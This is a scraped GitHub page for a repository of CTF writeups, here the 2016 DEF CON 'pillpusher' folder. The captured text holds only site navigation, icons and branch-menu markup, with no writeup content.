<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<span>No suggested jump to results</span>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
</div> </label></form> </div></div>
</div>
<div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div>
Sign up </div> </div> </div> </div></header>
</div>
<div id="start-of-content" class="show-on-focus"></div>
<div id="js-flash-container" data-turbo-replace>
<template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div>
</div> </div></div> </template></div>
<include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment>
<div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" >
<div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace>
<div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;">
<div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> DaramG </span> <span>/</span> ctf-writeup
<span></span><span>Public</span> </div>
</div>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>1</span>
<div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>6</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div>
</div>
<div id="responsive-meta-container" data-turbo-replace></div>
<nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5">
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/DaramG/ctf-writeup/security/overall-count" accept="text/fragment+html"></include-fragment>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span>
<div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav>
</div>
<turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " >
<div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div >
<div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":59453325,"originating_url":"https://github.com/DaramG/ctf-writeup/tree/master/2016_defcon/pillpusher","user_id":null}}" data-hydro-click-hmac="13e165a9822e3ee4fad8100cccffd063140972b5bc76204cede5657a93821e83"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary>
<div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header>
<input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div>
<div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div>
<div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/DaramG/ctf-writeup/refs" cache-key="v0:1463982011.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="RGFyYW1HL2N0Zi13cml0ZXVw" prefetch-on-mouseover >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<footer class="SelectMenu-footer">View all branches</footer> </ref-selector>
</div>
<div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/DaramG/ctf-writeup/refs" cache-key="v0:1463982011.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="RGFyYW1HL2N0Zi13cml0ZXVw" >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
